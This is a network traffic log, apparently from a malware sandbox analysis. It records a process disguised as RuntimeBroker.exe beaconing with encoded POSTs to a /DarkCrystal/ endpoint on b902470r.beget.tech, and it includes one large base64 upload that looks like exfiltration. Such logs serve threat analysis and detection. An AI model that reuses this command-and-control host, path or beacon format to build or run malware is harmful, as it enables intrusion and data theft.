
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49993	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:33.761441946 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:34.118421078 CET	2544	OUT	Data Raw: 55 57 59 5b 53 5a 5b 50 5d 5d 54 54 54 53 5b 50 56 5f 5f 52 5b 55 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWY[SZ[P]]TTTS[PV__R[UZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_'E49[#=4'Z7Y4(=?Z3%X%/?(819,?'Y&%[(0
Nov 9, 2024 22:23:34.680840969 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:34.746121883 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49999	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:35.111479998 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:35.461832047 CET	2220	OUT	Data Raw: 55 53 59 53 53 5d 5b 56 5d 5d 54 54 54 51 5b 54 56 5f 5f 5c 5b 52 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USYSS][V]]TTTQ[TV__\[RZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'#5^"X(3^4.>+'^3%0Z'7<+$&X9-/'Y&%[(8
Nov 9, 2024 22:23:36.022756100 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:36.086735010 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 58 2b 5c 2e 0f 37 07 0c 1c 28 31 21 14 3c 3d 3e 02 27 23 2c 19 3c 3c 36 00 2a 3e 3b 12 36 13 21 05 27 2c 0f 1d 21 0f 28 5b 31 0a 2b 5a 01 1c 25 0a 28 13 0a 13 25 16 2e 1d 27 09 07 19 21 2f 3b 5e 26 24 05 11 31 1c 36 0a 2a 20 3c 57 2d 21 39 5b 28 3e 3f 46 25 0f 04 57 20 0f 2a 55 03 12 20 0c 29 03 0e 0d 25 3d 38 0c 3f 0f 3b 00 21 00 3f 10 22 05 2c 5f 33 38 2f 5c 2f 0d 33 06 24 30 27 1b 2b 0c 38 04 37 2c 00 0a 26 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #X+\.7(1!<=>'#,<<6>;6!',!([1+Z%(%.'!/;^&$16 <W-!9[(>?F%W *U )%=8?;!?",_38/\/3$0'+87,&:#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50000	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:35.433440924 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:35.790450096 CET	2544	OUT	Data Raw: 50 56 5c 58 53 5d 5e 56 5d 5d 54 54 54 53 5b 56 56 5e 5f 5d 5b 55 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PV\XS]^V]]TTTS[VV^_][UZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!7Z"X3(77+;+0 ]34+8?&>-'Y&%[(0
Nov 9, 2024 22:23:36.374738932 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:36.440279961 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50006	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:35.771574974 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 532 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:36.118108988 CET	532	OUT	Data Raw: 50 52 5c 5f 56 59 5b 56 5d 5d 54 54 54 55 5b 5a 56 50 5f 58 5b 55 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PR\_VY[V]]TTTU[ZVP_X[UZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'"2#;!X"8['<#X -4+0C0$<(872>\./'Y&%[(
Nov 9, 2024 22:23:36.715214014 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:36.767158985 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:36.769562960 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----1pCDARjKcrgH1v3IP4sXqcyIKfq7aYw86S User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 181786 Expect: 100-continue
Nov 9, 2024 22:23:37.061659098 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:37.063205957 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 70 43 44 41 52 6a 4b 63 72 67 48 31 76 33 49 50 34 73 58 71 63 79 49 4b 66 71 37 61 59 77 38 36 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------1pCDARjKcrgH1v3IP4sXqcyIKfq7aYw86SContent-Disposition: form-data; name="0"Content-Type: text/plainURYYV^[R]]TTTS[TVX_S[RZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:37.068275928 CET	7416	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:23:37.068298101 CET	7416	OUT	Data Raw: 4f 45 70 44 62 46 56 6a 4c 30 78 72 4e 32 77 32 57 55 39 52 54 32 52 42 65 47 38 7a 56 6b 5a 51 4d 55 5a 4b 4e 56 56 6c 59 79 74 58 64 6a 56 56 4e 56 70 51 51 6e 6c 31 63 47 59 78 57 6b 77 35 52 55 70 61 4e 56 56 56 59 6b 39 4f 4c 7a 5a 6d 4b 31 Data Ascii: OEpDbFVjL0xrN2w2WU9RT2RBeG8zVkZQMUZKNVVlYytXdjVVNVpQQnl1cGYxWkw5RUpaNVVVYk9OLzZmK1psS2xoZlcvd0RhRnplUlc5MmJLT0NlMHVJcEMyNk9OVUJqS3FWSVlLRGhpdURrZE9hZHFsL2IzZWlNaVhObk9HMHUwZ2h0WUxSNDdoTGlNSmt5UzdGM3hqYTN5bDNIM2NEZ0VhYlJSc2NtTlQ5UlNDS01ISWpRSDJ
Nov 9, 2024 22:23:37.068371058 CET	4944	OUT	Data Raw: 52 58 52 79 54 47 4e 32 53 46 6c 58 59 79 39 33 51 58 6c 48 57 54 52 72 62 56 56 6a 61 32 39 75 56 57 70 49 59 7a 52 49 55 47 56 79 52 43 39 45 4d 31 52 76 4f 56 56 48 62 56 41 30 62 32 6c 58 4f 45 31 76 61 55 56 55 56 30 56 76 54 7a 52 75 51 55 Data Ascii: RXRyTGN2SFlXYy93QXlHWTRrbVVja29uVWpIYzRIUGVyRC9EM1RvOVVHbVA0b2lXOE1vaUVUV0VvTzRuQUdlbk9SejByVDhXZU5ialE5WTFiVDlQdEJEcVVtMkdmVURNWElRS1BsaVhBOHRmei9BRHdSK2JmVjVVdmVyS3kvTS9lSlppc1UvWllLU2N1cjdiZC9YejlEWDhWK1BmRDJsNnZhV2RucGs5NU5vcDh1M0tYSmhoall
Nov 9, 2024 22:23:37.068440914 CET	4944	OUT	Data Raw: 65 46 64 43 62 7a 52 70 63 44 64 53 65 6e 52 6d 4d 46 42 61 64 31 64 61 56 6a 68 4d 55 7a 6c 75 52 32 35 6b 53 79 39 6a 4f 57 4d 76 4e 46 52 6d 64 7a 63 76 64 30 4a 43 52 43 39 35 51 6b 6f 76 4f 45 46 46 4d 47 59 34 53 6e 59 30 5a 43 39 33 51 32 Data Ascii: eFdCbzRpcDdSenRmMFBad1daVjhMUzluR25kSy9jOWMvNFRmdzcvd0JCRC95QkovOEFFMGY4SnY0ZC93Q2doLzVBay84QWlhOGthMnVWc3hlTmEzQXRUMG5NTGVXZWNmZXhqcjcwMk9HZWEzbHVJYmVlV0NIUG15eHhNeUpnWk9TQmdjZXRjMzlrVUxYOXArUjFmMjVpYjI5bHY2bm9uaW54VG8ycGVHN3UwdEx6eko1Tm0xZkt
Nov 9, 2024 22:23:37.073287964 CET	14832	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:23:37.073329926 CET	4944	OUT	Data Raw: 63 44 45 78 4e 54 4a 75 65 57 5a 69 56 30 6f 77 4d 30 67 79 52 55 31 76 53 57 64 33 4d 6a 52 5a 52 30 39 6d 62 54 55 31 65 6a 5a 6b 53 32 46 33 5a 55 78 30 64 6a 59 76 62 6d 59 31 4d 69 39 4e 57 44 6c 76 57 55 51 72 57 44 41 77 4d 6a 5a 58 4b 31 Data Ascii: cDExNTJueWZiV0owM0gyRU1vSWd3MjRZR09mbTU1ejZkS2F3ZUx0djYvbmY1Mi9NWDlvWUQrWDAwMjZXK1YzK0E3U2RabDFhV0JyMjJzMGFMWExTM1JvYmRJeExISzdCbzJWUUZQQzV5Um5xT2xOazFOcFYxV1I3blNienliRjNpYXl0ZkpFYmVmRXZJTVNmTmdubm52elNTMkY5Y1QyczhsMURISmFUaTVnVzN0bzRVV1VZTzh
Nov 9, 2024 22:23:37.073369980 CET	4944	OUT	Data Raw: 4e 45 68 75 5a 30 38 31 4c 30 56 6e 4c 7a 46 79 5a 44 41 32 53 48 63 35 4e 47 6c 30 57 6b 70 6b 55 44 41 79 4d 32 64 31 62 32 68 31 62 48 52 74 61 56 55 34 5a 58 46 75 53 45 6c 77 4e 48 70 4c 54 56 70 6f 59 56 42 30 62 6b 4d 32 56 7a 6c 6f 56 57 Data Ascii: NEhuZ081L0VnLzFyZDA2SHc5NGl0WkpkUDAyM2d1b2h1bHRtaVU4ZXFuSElwNHpLTVpoYVB0bkM2VzloVWVLTUpXcWNrVXp6V0c1TVpBYmxmNVZlQkJHUlhjZjJYcDMvUGhhLzhBZmxmOEs1L1g3R08xdUk1SUkxU09RWTJxTUFFVjJjTWNRZTJyTEJWT3Z3Mzh1bjNIeG5HV1cwS2tQcitIaHl5KzEyZCt2cmZmdVk5RkhlbHI
Nov 9, 2024 22:23:37.073421001 CET	4944	OUT	Data Raw: 4f 46 56 59 64 44 6b 30 64 32 70 6f 63 30 70 51 54 6a 42 73 63 6a 4a 4c 54 57 77 33 54 30 78 6f 52 32 4e 45 51 6b 6c 59 5a 30 68 75 53 47 59 34 59 58 68 32 52 6e 55 78 5a 6b 5a 6c 63 45 74 76 51 33 46 7a 4d 6b 46 42 54 30 4a 33 53 7a 5a 6d 55 53 Data Ascii: OFVYdDk0d2poc0pQTjBscjJLTWw3T0xoR2NEQklYZ0huSGY4YXh2RnUxZkZlcEtvQ3FzMkFBT0J3SzZmUS9FT2w2QmEzRnRhNmRLMFVzNW1BZHhsZW1CbkhPTWNWekd0Qk5WMVc1dmszUm1keSswODRyNXZFNWZpS3l0VGhhM3l1ZlI0ekg0ZDBrdmFYZC93RE1wUmEzcWtFUGt3NmxlUnhZeHNTZGd2NVpyc3RBc1dzN0x6SnN
Nov 9, 2024 22:23:37.929845095 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50012	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:36.574220896 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2532 Expect: 100-continue
Nov 9, 2024 22:23:36.930628061 CET	2532	OUT	Data Raw: 50 55 5c 5d 53 5d 5b 5d 5d 5d 54 54 54 55 5b 53 56 5a 5f 52 5b 55 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PU\]S][]]]TTTU[SVZ_R[UZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0)D =_!>]'<4#>$Z>(4$/%,7Z?^ &>[,/'Y&%[($
Nov 9, 2024 22:23:37.509104013 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:37.561201096 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50018	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:37.699091911 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:38.055768013 CET	2544	OUT	Data Raw: 55 51 59 5b 56 58 5e 52 5d 5d 54 54 54 53 5b 55 56 5a 5f 59 5b 53 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQY[VX^R]]TTTS[UVZ_Y[SZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!>#(-!0/?X7>'=;#['C#'<$)(#A%->]:'Y&%[(0
Nov 9, 2024 22:23:38.633634090 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:38.691576958 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50024	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:38.822747946 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:39.180835009 CET	2544	OUT	Data Raw: 55 57 5c 58 56 5b 5b 52 5d 5d 54 54 54 53 5b 52 56 5f 5f 5c 5b 5d 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UW\XV[[R]]TTTS[RV__\[]Z[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%"1E !^"(X%/34=<[>8'3<\'#);81[.'Y&%[(0
Nov 9, 2024 22:23:39.750505924 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:39.797250986 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50030	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:39.924575090 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:40.274600029 CET	2544	OUT	Data Raw: 55 53 59 5f 56 5c 5e 50 5d 5d 54 54 54 54 5b 57 56 5c 5f 53 5b 56 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USY_V\^P]]TTTT[WV\_S[VZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!3)E#)^#>'?( (Z*(?3&#$,?<#A&>&.'Y&%[(,
Nov 9, 2024 22:23:40.842545986 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:40.907757998 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50036	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:41.057302952 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:41.414973021 CET	2536	OUT	Data Raw: 50 56 59 5d 53 5a 5b 55 5d 5d 54 54 54 55 5b 52 56 5c 5f 5c 5b 5c 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVY]SZ[U]]TTTU[RV\_\[\ZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!1@4;95X '' -+=]830]3?^(81.[-?'Y&%[(,
Nov 9, 2024 22:23:41.983117104 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:42.050066948 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50037	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:41.120462894 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:41.477855921 CET	2220	OUT	Data Raw: 50 50 59 5a 53 5c 5b 5c 5d 5d 54 54 54 5d 5b 52 56 58 5f 53 5b 50 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PPYZS\[\]]TTT][RVX_S[PZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'1>4;)[!('#$_)(7_''3<7[(8B2=&^9'Y&%[(
Nov 9, 2024 22:23:42.032891035 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
